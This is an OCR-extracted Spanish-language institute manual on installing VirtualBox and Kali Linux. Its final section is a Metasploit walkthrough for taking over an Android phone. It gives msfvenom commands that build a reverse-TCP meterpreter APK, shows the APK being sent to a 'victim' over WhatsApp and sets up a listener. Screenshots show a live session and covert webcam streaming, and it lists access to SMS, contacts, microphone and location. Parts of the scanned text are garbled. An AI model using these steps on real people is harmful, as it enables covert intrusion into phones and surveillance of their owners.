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1. Introduccion

En la actualidad vivimos en una época donde la tecnologia es pilar fundamental para la
humanidad, que hasta cierto punto se podria decir que somos dependientes de esta
poderosa red tecnolégica ya que en estos diferentes dispositivos ingresamos y
guardamos un sinfin de informacién personal, desde la clave de nuestra cuenta del banco

hasta la direccién de donde vivimos.

Por tal razén la seguridad, privacidad y confidencialidad de la informacion personal
que contienen cada uno estos diferentes dispositivos es un tema de gran
importancia ya que existen personas que se dedican a vulnerar con la seguridad

de cada uno, con fines malévolos.

Y para poder comprender mas a fondo como es que lo hacen es importante saber
cuales son las diferentes herramientas y sistemas operativos que existen para
estos fines. Es por esto que a continuaciéon se desarrollara un manual de como es
gue estas personas realizan estos actos, con el fin de poder reconocer cuando nos

estén atacando y como saber actuar ante estos casos
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1.1. Objetivo general

Identificar y reconocer que herramienta y sistema operativo se usa para poder
vulnerar la seguridad de un teléfono movil, mediante su respectiva consulta y

practica, con el fin de saber como proceder ate estos actos.

1.2. Objetivos especificos
e |dentificar que es Kali Linux
e Reconocer el correcto uso de Kali Linux

e Aprender a usar la herramienta de exploit
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2. Contenido técnico

2.1. ¢Qué es Kali Linux?
Kali Linuxes wuna distribucion basada en Debian GNU/Linux disefiada
principalmente para la auditoria y seguridad informatica en general. Fue fundada y
es mantenida por Offensive Security Ltd. Mati Aharoni y Devon Kearns, ambos
pertenecientes al equipo de Offensive Security, desarrollaron la distribucion a
partir de la reescritura de BackTrack, que se podria denominar como la antecesora

de Kali Linux.

Kali Linux trae preinstalados mas de 600 programas incluyendo Nmap (un escaner
de puertos), Wireshark (un sniffer), John the Ripper (un crackeador de passwords)
y la suite Aircrack-ng (software para pruebas de seguridad en redes inalambricas).
Kali puede ser usado desde un Live CD, live-usb y también puede ser instalada

como sistema operativo principal.

Kali es desarrollado en un entorno seguro; el equipo de Kali estd compuesto por
un grupo pequeiio de personas de confianza quienes son los que tienen permitido
modificar paquetes e interactuar con los repositorios oficiales. Todos los paquetes
de Kali estan firmados por cada desarrollador que lo compild y publicé. A su vez,
los encargados de mantener los repositorios también firman posteriormente los

paquetes utilizando GNU Privacy Guard.

Kali se distribuye enimagenes ISO compiladas para diferentes arquitecturas
(32/64 bits y ARM). (Castillo, 2019)

2.1.1. Instalacion
Permite la instalacion sobre arquitecturas i386, amd64 y ARM (armel y armhf).
Para la arquitectura i386, a la imagen de Kali, trae un kernel PAE por defecto, por
lo que se puede ejecutar en sistemas de mas de 4GB de RAM. La imagen se
puede instalar desde un USB. También permite la instalacion via red y brinda
imagenes para la descarga de maquinas virtuales prefabricadas con las

herramientas instaladas de VMWare y virtual box.
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Dado que los sistemas basados en Arquitectura ARM son cada vez mas
frecuentes y de bajo costo, Kali Linux tiene repositorios ARM integrados con la
linea principal de distribucion de modo que las herramientas para ARM son
actualizadas junto con el resto de la distribucion. Kali est4 disponible para los

siguientes dispositivos ARM:

= rk3306 mk/ss808
= Raspberry Pi
= ODROID U2/X2
=  MK802/MK802 Il
=  Samsung Chromebook
= Samsung Galaxy Note 10.1
= CuBox
= Efika MX
= BeagleBone Black
Para poder descargar la imagen ISO de Kali Linux lo encontramos en su pagina

oficial: https://www.kali.org/downloads/

2.1.2. Requerimientos para la version (2019.3)
= 15 GB 0 mas de espacio en disco.
= Para arquitecturas i386 y amd64 un minimo de 1 GB de RAM.
= Tarjeta de red cableada o Wi-Fi para las pruebas
2.1.3. Requerimientos para instalacion en dispositivos Android
= Un dispositivo con Android 2.1 o superior, con privilegios de root.
= Al menos 5 GB de espacio en disco o almacenamiento externo.
= Conexion a internet 0 a la nube.
2.2.¢Qué es Virtual Box?
VirtualBox es un programa de gran utilidad para todos aquellos que necesiten
utilizar un sistema operativo puntualmente pero no quieran crear una particion en
SuU equipo y por consiguiente tener que instalar dos sistemas operativos en el

mismo ordenador. VirtualBox nos permite virtualizar un sistema operativo, es
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decir,
sistema.
(Ferrer, 2017)

2.2.1. Instalacién de Virtual Box en Windows 10

1. Abre el sitio web de VirtualBox. Desde el navegador de tu computadora, dirigete

a la siguiente direccion: https://www.virtualbox.org/. Este es el sitio web desde el

cual descargaras el archivo de instalacion de VirtualBox.

[ aboutblank X

«

-+

Figura: 1Direccion Web de Virtual Box
Fuente: (Astudillo, 2018)

2.Haz clic en Download VirtualBox (descargar VirtualBox). Este es un boton de

color azul ubicado en el medio de la pagina. Al hacer clic en él, se abrira la pagina

de descargas

N

About.
Screenshots
Downloads
Documentation
End-user docs
Technical docs.
Contribute
Community

Welcome to VirtualBox.org!

Vi e werM - dAMDsG/I ‘elso i al o Dmd cuo e e home use, Nl o
yfeat cithe only

00, XP, Server. 2003,Vsta Windowis 7, Windows 8,
olaris and OpenSolaris, 05/2, and OpenBSD.

s and has an ever growing list of features,
community effort backed by a dedicated cor

luehy develoned i) Vrequ e
ox

orted guest
 platforms i ;

Download
VirtualBo

Network
er & project site

ORACLE'

Contact - Privacy policy - Terms of Use

Figura: 2 Botén de descarga
Fuente: (Astudillo, 2018)

crear un ordenador virtual en el que podremos instalar cualquier otro

c @ https://www.virtualbox,org/‘ ‘
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https://www.virtualbox.org/

3.Haz clic en Windows hosts. Este enlace se encuentra debajo del encabezado
"VirtualBox 5.2.8 platform packages" (paquetes de la plataforma VirtualBox 5.2.8).
A continuacion, se iniciaré la descarga del archivo VirtualBox EXE.

Arvus

Screenshots VirtualBox binaries

Downloads By downloading, you agree to the terms and conditions of the re

Documentation If you're looking for the latest VirtualBox 5.1 packages, see Virtt

End-user docs .
VirtualBox 5.2.22 platform packages

Technical docs
Contribute =>Windows hosts|

Community o Linux distributions
o > Solaris hosts

The binaries are released under the terms of the GPL version 2.
See the changelog for what has changed.

You might want to compare the checksums to verify the integrity
must be treated as insecure!

+ SHA256 checksums, MD5 checksums

Figura: 3 Enlace de descarga para Windows
Fuente: (Astudillo, 2018)

4.Abre el archivo VirtualBox EXE. Dirigete a la ubicacion en la que se descargé el
archivo EXE y haz doble clic en él. A continuacion, se abrird la ventana de

instalacion de VirtualBox.

%] ¥ @ = |Downloads

* U & cut X Eﬂ:[ % New item ~ % 4 Open - [ Selectall
A\ Copy path *

1] Easy access “Edit Select none
Move Copy Delete Rename  New Properties
tor  to~ - folder -

PintoQuick Copy  Paste

access [&] Paste shortcut

G History & Invert selection

Clipboard Organize New Open. Select
4 % > ThisPC > Local Disk (C:) » Users » wikih > Downloads

# Quick access @
332 Dropbox 4 § J | g,
4 OneDrive [ i A

psiphon3A.exe U1806.exe VirtualBox-5.2.22 | #lc-3.0.4-win32.e  WhatsAppSetup.
-126460-Win.exe xe exe

= This PC
3 3D Objects
m Desktop
 Documents
¥ Downloads.

3 Music
& Dictuirac wiki

Figura: 4 Archivo VirtualBox EXE
Fuente: (Astudillo, 2018)

5.Navega a través de las instrucciones de instalacién. Sigue los pasos a
continuacion:
Haz clic en Siguiente en las primeras tres paginas.
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e Haz clic en Si cuando se te indique.
e Haz clic en Instalar.

e Haz clic en Si cuando se te indique

#5) Oracle VM VirtualBox 5.2.22 Setup X

Welcome to the Oracle VM
VirtualBox 5.2.22 Setup
Wizard

The Setup Wizard will install Orade VM VirtualBox 5.2.22 on
your computer. Click Next to continue or Cancel to exit the
Setup Wizard.

e
Version 5.2.22 “ Next > |[| Cancel |
e

Figura: 5 Proceso de instalacion
Fuente: (Astudillo, 2018)

6.Haz clic en Instalar cuando se te indique. De esta manera, VirtualBox comenzara
a instalarse en tu computadora

=] Windows Security X

Would you like to install this device software?

Name: Oracle Corporation Universal Serial Bus ...
<% pplisher: Oracle Corporation

Always trust software from "Oracle Corporation". Install | . Don't Install

You should only install driver software from publishers you trust. How can | decide
which device software is safe to install?

Version 5.2.22 <Back Next >

Figura: 6 Confirmacion de la instalacion
Fuente: (Astudillo, 2018)

7.Haz clic en Finalizar cuando se te indique. Este boton se encuentra en la parte

inferior derecha de la ventana. Al hacerlo, se cerrara la ventana de instalacion y se
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abrird VirtualBox. Ahora que has instalado y abierto esta aplicaciéon, podras crear
una maquina virtual para asi ejecutar cualquier sistema operativo en tu
computadora.
Antes de hacerlo, asegurate de no desmarcar la casilla “Inicio”.

2.3. Instalar Kali Linux en VirtualBox
Con todo listo, abriremos VirtualBox y, situados en la pantalla principal,

pulsaremos sobre “Maquina -> Nueva” para comenzar la creacién de esta VM.

Recomendamos pulsar sobre el boton inferior “Modo experto” para obtener la

totalidad de las opciones de configuracion de la maquina virtual.

Mombre y sistema operativo

Name: [Kali Linux 2018 AMDE4 |

Machine Folder: | D:\maquinas vituales\Kal Linux v

. [saf
Tipo: | Linux A f.._j

Versidn: | Debian (64-bit) v

Tamafio de memoria

v o o
4MB 16384 MB
Disco duro
() No agregar un disco duro virtual
@) Crear un disco dura virtual ahora
O Usar un archivo de disco duro virtual existente

1. NewVirtualDisk1.vdi (Normel, Inaccesible)

Modo guiado Cancelar

Figura: 7 Nueva maquina virtual
Fuente: (Astudillo, 2018)

Pues bien, colocamos un nombre para ella, y seleccionamos como tipo de sistema
Linux, y como versién Debian (64-bit), ya que nuestro sistema est4 basado en
Debian.

También colocaremos la cantidad de memoria RAM, nosotros utilizaremos el

minimo requerido que son 1024 MB, pero si tienes mas, coloca al menos 2 GB.

Finalmente seleccionamos a opcion de “crear un disco duro virtual ahora”, ya que
la maquina virtual sera creada desde cero. Cuando finalicemos y todo esté como

queramos, pulsamos sobre “Crear”.
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Crear de disco duro virtual

Ubicacidn de archivo

Kali Linux 2018 AMD&4 | Ea

Tamafio de archivo

4,00 MB 2,00 TB

Tipe de archive de disco duro Almacenamiento en unidad de disco duro fisica |
(® VDI (VirtualBox Disk Image) (®) Reservado dindmicamente

() VHD (Virtual Hard Disk) () Tamafio fijo

() VMDK (Virtual Machine Disk) Dividir en archivos de menos de 2 GB
(Z) HOD {Parallels Hard Disk)

(O QCow (QEMU Copy-On-Write)

() QED (QEMU enhanced disk)

Modo guiado Cancelar

Figura: 8 Parametros a confirmar de la nueva maquina virtual
Fuente: (Astudillo, 2018)

En la siguiente pantalla, tendremos que seleccionar el espacio de almacenamiento
para el disco duro virtual. Como antes, utilizaremos el minimo requerido, que sera
de 15 GB. Una vez mas te recomendamos que, si vas a utilizar este sistema

activamente, selecciones mas espacio para no quedarte corto, al menos 25 GB.

Como formato del disco duro virtual, lo dejaremos por defecto en VDI, y
seleccionaremos la opcion de “reservado dinamicamente”, para que el espacio
real en nuestro disco duro vaya asignandose dinamicamente mientras mas uso

hagamos de éste. Cuando hayamos terminado, pulsamos en “Crear”.

2.3.1. Configurar maquina virtual Kali Linux en VirtualBox
Antes de instalar el sistema operativo, por supuesto tendremos que seleccionar
nuestra imagen ISO para colocarla en el lector de CD virtual para que el sistema

pueda ser instalado.
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Pulsamos sobre

“Configuracion”.

la maquina virtual

' Oracle VM VirtualBox Administrador

creada, y seleccionamos

la opcién

Archive - Maquina Ay configuracion.. Ctrl+S
i (3 Clonar.. Ctrl+0
ﬁ Tools -
@ Move
Eliminar...
[E7] wioxsapro () G
B © Apagaca & Agrup:
I ,
%’. ny & Iniciar L.
S5 @ Apagac Pausar T
] © egece . o Kali Linux 2018
Reiniciar
] Windows10x641 <7 Cerrar AMD64
B © Apagaca
Descartar el estado guardado...
EL] winserver2016 Mostrar historial de eventos... Cerl+L
¢foy (@ Apagada )
Actualizar 3
™
s’l WindowsXPHode Mostrar en explorador
£T) © Apagada )
! Crearun acceso directo en el escritorio
8 Ordenar ido
ido

Almacenamiento
Controlador: IDE
IDE secundario maestro: ~ [Unidad optica] Vacio
Controlador: SATA
: Kali Linux 2018 AMD&4. vl (Normal, 15,00 G8)
(o Audio

Contrelader de anfitrién:  Windows DirectSound

Figura: 9 Configuracion de la maquina virtual
Fuente: (Astudillo, 2018)

La primera modificacion de haremos sera eliminar de la lista de arranque el

disquete en el apartado “General”’, ya que no lo queremos absolutamente para

nada. En principio, no tendremos que activar la opcion de EFI para la BIOS,

porque solamente hara que darnos problemas.

E General Sistema
[&] sistems Placabase  Procesador  Aceleracén

Memoria base: [

4MB
() Optica [+
Disco duro | [+]
1 B pisquete

[ rantalia

[ ——

(DJ Audio

16384 MB

Orden de arranque:

 Red [ & Red
@ Puertos serie Chipset: PIIX3 -
Dispositivo apuntador: | Tableta USE -

ﬁ? use

Caracteristicas extendidas: Habilitar T/0 APTC
7] Carpetes compartidas

[ Habilitar EFI (sélo SO especiales)

[T interfaz de usuario Reloj hardware en tiempo UTC

Figura: 10 Configuracion del arranque
Fuente: (Astudillo, 2018)

1024MB ¥

Cancelar

En el apartado de “Sistema”, seleccionaremos el uso de dos nudcleos de nuestro

procesador, si tenemos mas o0 queremos asignarselos todos, adelante. Mayor
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velocidad obtendremos si le

vamos a dar un

| &3 Kali Linux 2018 AMDE4 - Configuracién

i 99 Genersl

1 [] sistema

: (I Pantaia

| Almacenamiento

! (DJ Audio

! & Red

j £33 puertos serie
1D use

[ Carpetas compartidas

[=] interfaz de usuario

Procesador Aceleracidn

Procesador(es): ]
1cpPu
Limite ejecucion:
1%
Caracteristicas extendidas: [_] Habilitar PAE/NX
Enable Nested VT-x/AMD-V

Figura: 11 Configuracién de los nucleos
Fuente: (Astudillo, 2018)

uso

8CPUs

e

100%

Aceptar

intenso a la

Cancelar

distro.

Ahora iremos directo a la seccion de “Almacenamiento” para seleccionar nuestro

lector

de

CD

virtual

y pulsar

sobre el

icono

del disco a

la

derecha. Seleccionaremos la imagen ISO de Kali Linux donde quiera que la

hayamos almacenado durante la descarga.

## Kali Linux 2018 AMDS4 - Col

nfiguracién

= General

[&] sistema

(] Pantalla
Almacenamiento
(D:I Audio

B Red

§ Puertos serie

£ us

[T Carpetas compartidas

[F] interfaz de usuario

Almacenamiento

Dispositivos de almacenamiento Atributos
@ Controlador: IDE Unidzd ptica:
© kalidinux-ight-2018. 4-amdé4.is...|

& Controlador: SATA Informacién
Kali Linux 2018 AMDG4.vdi =
Tamafio:
Ubicacién:
Conectado a:

@@

[ co/ovD vivo

Imagen
866,69 MB

E:\eali-inux-ight-2018. 4-amds4.ise

Cancelar

Figura: 12 Configuracion de la imagen ISO

Fuente: (Astud

illo, 2018)
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En el apartado de red, por ahora lo dejaremos tal y como esta, es decir, en modo
NAT para tener acceso a Internet a través de nuestro equipo fisico. En un articulo
sucesivo, veremos como configurar este aspecto mas en detalle, por si no da

algun problema de primeras.

# Kali Linux 2018 AMDE4 - Configuracién

™) General Red

[&] sistema Adaptador 1

C 3
[ —

Aud o
Do s F—

=
Figura: 13 Configuracion del adaptador web
Fuente: (Astudillo, 2018)

Pues bien procedemos a iniciar la maquina virtual para instalar el sistema

operativo.

2.3.2. Proceso de instalacién de Kali Linux

El asistente es bastante similar al de todas las distribuciones basadas en Debian.
Comenzamos seleccionando la opcion “Graphical install” si es que lo queremos
con GUI.
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KALI

“the quieter you beconiey the more you are able to hear”™

Boot menu

Live (amd64)

Live (amd64 failsafe)
Live (forensic mode)
Live USB Persistence (check kali.orgsprst)
Live USB Encrupted Persistence Ccheck kali.orgeprst)
Tnstall

Graphical install

Install with specch synthesis

Advanced options

B @& &= @8 § > @ ctre DErecHA
Figura: 14 Instalacién inicial

Elaborado por: Autor

Seleccionamos nuestro lenguaje de instalacion y aceptamos el aviso de que la
traduccion no va a estar completa.

Oracle VM VirtualBox

il Kli Linux 2018 AMDS4 [Corriendo] -

Select a language

La traduccién del instalador para el idioma seleccionado no esta totalmente completa.

Si continta con |a instalacién en el idioma seleccionado los mensajes deberfan mostrarse correctamente
pero hay una ligera posibili i e si i i

del instalador, que se
muestren en inglés.

(Desea Ia 5n en el idioma

© No

®

Continuar

Capturar la pantalla [

Retroceder |

B O &0 EE @ @ @ cr omecia

Figura: 15 Seleccion del lenguaje
Elaborado por: Autor
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Ahora tendremos que colocar el nombre de la maquina, esto serd importante para

identificar esta maquina en la red, por lo que colocamos uno con el que podamos
familiarizarnos en caso de ser necesario.

Configurar la red

Por favor, introduzca el nombre de la maquina.

El nombre de m. na s Iap I b q d ntﬁ el sistema en la red. Consulte I dmln l ado
ombre debe B i R T o S (i

Capturar la pantalla

| Retroceder | Continuar

B Ok& S B @ @ cmrDRecta
Figura: 16 Seleccién del nombre de la maquina
Elaborado por: Autor

Seguidamente se nos pregunta si la maquina va a estar dentro de una red bajo
dominio, por ejemplo, con Active Directory, o simplemente porque tengamos un

dominio activo. Como nosotros estamos en un entorno doméstico, no podremos
nada al respecto.

Configurar la red

El nombre de dominio es I.

rte de su direccion de Internet a la derecha del nombre de sistema.
Habltualmente es algo que termlna B T {2 org. Puedelnvemarseln slesta |nsta|andu
na red doméstic e g i

e utilizar el mismo nombre de domini
Nombre de dominio:
[

Capturar la pantalla ( Retroceder |
N

Continuar

Bk TR Q@R oRean

Figura: 17 Configuracién de red
Elaborado por: Autor
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En la nueva ventana, colocaremos la contrasefia del usuario root. Este usuario
sera el que esté de forma nativa activo en el sistema, es decir siempre seremos
root, por lo que tendremos que colocar una buena contrasefia para su seguridad,

como 1234...0 no.

Configurar usuarios y contrasefas

Necesita definir una contrasefia para el superusuario («root»), la cuenta de administracién del sistema.
Podria tener graves ias que un usuario malicioso o un usuario sin la debida cualificacién
tuviera acceso a la cuenta del administrador del sistema, asi que debe tener cuidado y elegir un la
contrasefa para el superusuario que no sea fadil de adivinar. No deberia ser una palabra que se
encuentre en el diccionario, o una palabra que pueda asodiarse facilmente con usted.

Una buena contrasefia debe contener una mezcla de letras, nameros y signos de puntuacion, y debe
cambiarse regularmente.

La contrasefia del usuario «root» (administrador) no deberia estar en blanco. Si deja este valor en
blanco, entonces se deshabilitara la cuenta de root creara una cuenta de usuario a la que se le daran
permisos para convertirse en usuario administrador utilizando la orden «sudo».

Tenga en cuenta que no podra ver la contrasefia mientras la introduce.

Clave del superusuario:

I....

[J Mostrar la contrasefia en claro

Por favor, introduzca la misma contrasefia de superusuario de nuevo para verificar que la introdujo
correctamente.

Wwelva a introduci la contrasefia para su verificacion.

[eoeel J
[J Mostrar la contrasefa en claro

Capturar la pantalla ( Retroceder | w}
BOkF s =i D6 cr omeca

Figura: 18 Configuracién de contrasefia
Elaborado por: Autor

Ahora ya entramos en la configuracion propia del modo de instalacion que
llevaremos a cabo. No nos vamos a complicar y vamos a elegir el modo Guiado,

en el que usaremos todo el disco duro. Al final y al cabo es una maquina virtual.

Particionado de discos

Este instalador puede guiarle en el particionado del disco (utilizando distintos esquemas estandar) o, si
lo desea, puede hacerlo de forma manual. Si escoge el sistema de particionado guiado tendra la
oportunidad mas adelante de revisar y adaptar los resultados.

Se le preguntara qué disco a utilizar si elige particionado guiado para un disco completo.

Método de particionado:

Guiado - utilizar todo el disco

Guiado r el disco completo y configurar LYM
Guiado - utilizar todo el disco y configurar LVM difrado

Manual

[ capturar la pantalla | Retroceder | &]
\; BelF S =R @ R R

Figura: 19 Modo de instalacion
Elaborado por: Autor
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También elegiremos que todos los archivos vayan en una misma particion, aunque

si lo deseamos, podremos optar que el sistema realices tres particiones para
instalar el /nome, /var y /tmp en particiones distintas.

Particionado de discos

Seleccionado para particionar:

SCsI2 (0,0,0) (sda) - ATA VBOX HARDDISK: 16.1 GB

Este disco puede particionarse siguiendo uno o varios de los diferentes esquemas disponibles. Si no
esta seguro, escoja el primero de ellos.

Esquema de particionado:

Todos los ficheros en una particién (recomendado para novatos)
Separar la partician fhome

Separar particiones fhome, /var y ftmp

Capturar la pantalla |

[ Retroceder | Continuar
B k&S =i e e oo

Figura: 20 Particién de discos
Elaborado por: Autor

Se nos mostrara un resumen de las acciones que se van a llevar a cabo. En

cualquier caso, Linux siempre designa, por defecto 1 GB de espacio para colocar
la memoria virtual o swap. Esto sera inamovible.

e hai cado las tablas de particiones de los siguientes dispositivos:
SCSI2 (0,0,0) (sda)

|
Capturar la pantalla

Bk IEE U@ @ crbmecHs

Figura: 21 Confirmacion de Particion de discos
Elaborado por: Autor
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Antes de comenzar con el proceso de instalacion de ficheros, se nos preguntard si
deseamos hacer una réplica de la red, generalmente para las actualizaciones de
los programas. Nosotros elegimos que si queremos hacerla, tampoco vamos a

perder nada.

En este punto, si no tenemos una red activa, se nos mostrard un error. No
debemos preocuparnos, ya que tras asegurarnos de que la tarjeta de red esté
activa en la MV, mas adelante podremos repetir el proceso para hacer aparecer

esta opcion.

Configurar el gestor de paquetes

ica en red para complementar los programas incluidos en el CD-ROM. Esto también
isposicion nuevas versi de los pr

Desea utilizar una réplica en red?
© No

@ si

| capturar la pantalla | | Retroceder | Continuar

PokF s =il @R crorReca

Figura: 22 Configuracion del gestor de paquetes
Elaborado por: Autor

Para finalizar, se nos pedira si deseamos colocar el grub para gestionar el
arranque de nuestro equipo virtual. Recomendamos instalarlo, por si en el futuro
tenemos algun problema con este o queremos modificar esta secuencia con otro

sistema.
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Instalar el cargador de arranque GRUB en un disco duro

Parece que esta instalacion es el Gnico sistema operativo en el ordenador. Si esto es asi, puede instalar
sin riesgos el cargador de arranque GRUB en el registro principal de arranque del primer disco duro.

Aviso: Si el instalador no pudo detectar otro sistema operativo instalado en el sistema, la modificacion

del registro principal de arranque hara que ese sistema operativo no puede arrancarse. Sin embargo,
podra configurar GRUB manualmente mas adelante para arrancarlo.

(Desea instalar el cargador de arranque GRUS en el registro principal de arranque?
O No

Capturar la pantalla

( Retroceder /[ continuar |
DOEgs BEO@E o

Figura: 23 Confirmacion de arranque
Elaborado por: Autor

Elegimos, por supuesto, la particion activa del sistema, es decir, donde vamos a
instalar Kali Linux.

Instalar el cargador de arranque GRUB en un disco duro

Ahora debe configurar el sistema recién instalado para que sea arrancable, instalando para ello el
cargador GRUB en un dispositivo del que se pueda arrancar. La forma habitual de hacerlo es instalar
GRUB en el registro principal de arranque («master boot record») del primer disco duro. Si lo prefiere,
puede instalar GRUB en cualquier otro punto del disco duro, en otro disco duro, o incluso en un disquete.
Dispositivo donde instalar el cargader de arranque.

Introducir el dispositivo manualmente

/devisda_(ata-VBOX_HARDDISK VB71baddoa-efobfaaf)

Capturar la pantalla

[ Retroceder  |[ continuar |
. TOWE BEDSBcmomon

Figura: 24 Eleccién de la particidn
Elaborado por: Autor

Finalmente, el proceso se llevard a cabo e iniciara nuestra maquina virtual.

debemos recordar de que el usuario por defecto sera root, y la contrasefia que
hayamos colocado anteriormente en el asistente.
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8 5 8 {6 @ oeeca

Figura: 25 Inicio del sistema
Elaborado por: Autor

2.4. MetaSploit, tomar control de equipos remotos
MetaSploit es una suite o conjunto de programas en realidad. Esta disefiada para
explotar las vulnerabilidades de los equipos y es sin duda el programa mas usado
por los mejores hackers del mundo. Dentro de MetaSploit, disponemos de multitud
de herramientas y programas para ejecutar en las diferentes vulnerabilidades de

cada equipo, a cada una de estas aplicaciones se le llama sploit.

2.4.1. Como acceder a un teléfono mévil usando MetaSploit
En primer lugar, tenemos que abrir una ventana de comandos para posteriormente

ingresar los siguientes comandos:

e msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=Puerto R

> [root/nombre de la apk a crear.apk

root@Kkali: ~ e ® 9
Archivo Editar Ver Buscar Terminal Pestafas Ayuda
root@Kkali: ~ x root@kali: ~ x B -

:~# msfvenom -p android/meterpreter/reverse tcp LHOST=192.168.100.156
LPORT=1234 R > /root/hackfree.apk
[-]1 No platform was selected, choosing Msf::Module::Platform::Android from the p
EVALET
[-]1 No arch selected, selecting arch: dalvik from the payload

No encoder or badchars specified, outputting raw payload
Payload size: 10087 bytes

s~ l

Figura: 26 Creacion del apk

Elaborado por: Autor
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e cp nombre.apk /var/www/html/
e /etc/init.d/apache2 start

e Service portgresql start

root@kali: ~
Archivo Editar Ver Buscar Terminal Pestafias Ayuda

root@kali: ~ x root@Kkali: ~

:~# msfvenom -p android/meterpreter/reverse tcp LHOST=192.168.100.156
LPORT=1234 R > /root/hackfree.apk
[-]1 No platform was selected, choosing Msf::Module::Platform::Android from the p
EVALGEL]
[-1 No arch selected, selecting arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 10087 bytes

:~# cp hackfree.apk /var/www/Html/
cp: no se puede crear el fichero regular '/var/www/Html/': No es un directorio
:~# cp hackfree.apk /var/www/html/
:~# /etc/init.d/apache 2 start
bash: /etc/init.d/apache: No existe el fichero o el directorio
:~# /etc/init.d/apache2 start
[ ] Starting apache2 (via systemctl): apache2.service.
:~# service postgresql start
~# 1

Figura: 27Activacién de los servicios
Elaborado por: Autor

e Msfcosole

root@kali: ~
Archivo Editar Ver Buscar Terminal Pestafias Ayuda
root@kali: ~ x root@kali: ~
] Starting apache2 (via systemctl): apache2.service.

:~# service postgresql start
:~# msfconsole

<

Figura: 28 Inicio de metasploit

Elaborado por: Autor
Antes de continuar debemos hacer que la victima se descargué nuestra apk en su

teléfono movil para lo cual existen varias maneras de hacerlo en este caso lo

haremos enviando nuestro apk desde whatsapp:
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Desde Kali Linux ingresamos al navegador web y entramos a whatsapp
web una ves dentro adjuntamos nuestra apk en el chat de la victima y lo
enviamos cabe recalcar que nuestra apk se encuentra en los archivos del
mismo sistema operativo

~ lun, 23 de sep, 13:42

WhatsApp - Mozilla Firefox

® WhatsApp x |+
¢ > | | Gr carpeta personal ~ |

O Reclentes

% Favoritos

@ Carpeta personal

. Escritorio

|

@ Descargas

[ Documentos

‘€1 Imagenes g
whackfreeapks seleccionado (10,1 k) |

- hackfree.apk 3)

<
™
o
(=]
D ¢
a

m Nafio Ivan
+503 98 ...

Figura: 29 Envio del apk

Elaborado por: Autor

Lo que quedaria es esperar que la victima instale nuestra apk para poder

continuar con los demés comandos

Posteriormente continuamos ingresando los siguientes comandos:
use exploit/multi’/handler

Set PAYLOAD andriod/meterpreter/reverse_tcp

Set LHOST=(ip)

Set LPORT=(puerto)
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i root@kali: ~ e 0 °‘

Archivo Editar Ver Buscar Terminal Pestafias Ayuda

root@kali: ~ x

+ -- --=[ 2 evasion 1

msf5 > use exploit/multi/handler
msf5 exploit( ) > set PAYLOAD android/meterpreter/reverse tcp
PAYLOAD => android/meterpreter/reverse tcp
msf5 exploit( ) > set LHOST=192.168.100.156
Unknown variable
Usage: set [option] [value]

Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore

msf5 exploit( ) > set LPORT=1234
Unknown variable
Usage: set [option] [value]

Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore

msf5 exploit( N |

B O o E i\ @ R creberecHa

Figura: 30 Especificacion del host y puerto

Elaborado por: Autor
o exploit
e Listo!!! Una sesion de Meterpreter conectada hacia nuestra victima, en este
caso se puede ver que el comando “sysinfo” me dice que la victima tiene un
Android 7.0

root@kali: ~ e 0.

Archivo Editar Ver Buscar Terminal Pestafias Ayuda

root @kali: ~ x root @kali: ~ x [

to 192.168.100.102
(192.168.100.156:1234 -> 192.168.100.102:40514

- Linux 4.1.18-91el7235 (aarch64)

id
rpreter : dalvik/android

Figura: 31 Ingreso al dispositivo movil
Elaborado por: Cristian Sancho

e Con el comando HELP podemos ver qué acciones podemos hacer en el
dispositivo, y las acciones particulares de Android son:
Grabar con el Microfono
Tomar Fotos con ambas camaras (Frontal y Trasera)
Hacer Streming desde la camara seleccionada
Verificar si el dispositivo es ROOTEADO
Obtener el listado de llamadas
Obtener el listado de Contactos
Obtener los SMS
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Obtener la Ubicacién del Dispositivo

Enviar SMS

Entre otras mas cosas...

Stdapi: Webcam Commands

am_chat
webcam_1

dump
geol

Figura: 32 Comandos disponibles
Elaborado por: Autor

Como se puede ver existen varias herramientas y en este caso vamos a

demostrar uno que es webcam_stream el cual nos permitira divisar todo lo

gue enfoque la camara del celular de la victima sin que se de cuenta en

tiempo real.

root@kali: ~
Archivo Editar Ver Buscar Terminal Pestafias Ayuda
root@kali: ~ x root@kali: ~

wakelock Enable/Disable Wakelock
wlan_geolocate Get current lat-long using WLAN information

Application Controller Command

t to install apk file
talled apps in the device
Start Main Activty for package name

Request to uninstall application

meter e
Unknown command :
eter| er > webcam stream

Figura: 33 Ejecucién del comando webcam_stream

Elaborado por: Autor

26 | 30



Metasploit webcam_stream - 192.168.100.102 - MozillaFirefox @ & &

® WhatsApp X | Metasploitwebcam_strean X | +

&« > C o |® filez///root/ GHUfWPDQ.html ﬁ‘ » | =

Target IP : 192.168.100.102
Start time : 2019-89-23 14:26:20 -8500
status : Playing

www.metasploit.com

Bogol BiEG@Em

Figura: 34 Visualizacién del comando en ejecucion

Elaborado por: Autor
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3. Responsables.

Cristian Stalin Sancho Lépez ingeniero de sistemas de la Universidad Técnica de

Machala, profesional con mas de 7 afios de experiencia.

Actualmente Coordinado de Bienestar Institucional en el Instituto Superior
Tecnoldgico Huaquillas y previamente Apoyo a coordinacion de investigacion
durante la creacion y desarrollo del proyecto para la medicidon de temperatura para

piscinas en camaroneras de agua dulce.

Del 2013 al 2019 responsable encargado del Grupo de Telconet S.A en la ciudad
de Huaquillas donde se desarrollaron varios proyectos de Telecomunicaciones y

Soporte a usuarios de la Red de Fibra Optica de la empresa..

Responsable:

Ing. Crigtiarl Sancho L.

Revisado y aprobado por:

Coordinaddr dé Investigacion
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4. Definiciones

Apk: Es un pagquete para el sistema operativo Android. Este formato es una
variante del formato JAR de Java y se usa para distribuir e instalarl componentes
empaquetados para la plataforma Android para teléfonos inteligentes y tabletas

Android: Es un sistema operativo movil desarrollado por Google, basado en el
Kernel de Linux y otros softwares de cddigo abierto.

BackTrack: BackTrack fue una distribucion GNU/Linux en formato LiveCD
pensada y diseflada para la auditoria de seguridad informatica en general. Su
sucesor es la distribucion Kali Linux que fue desarrollado a partir de la reescritura
de esta distribucion por el mismo equipo Offensive Security.

Git: Git es un software de control de versiones disefiado por Linus Torvalds,
pensando en la eficiencia y la confiabilidad del mantenimiento de versiones de
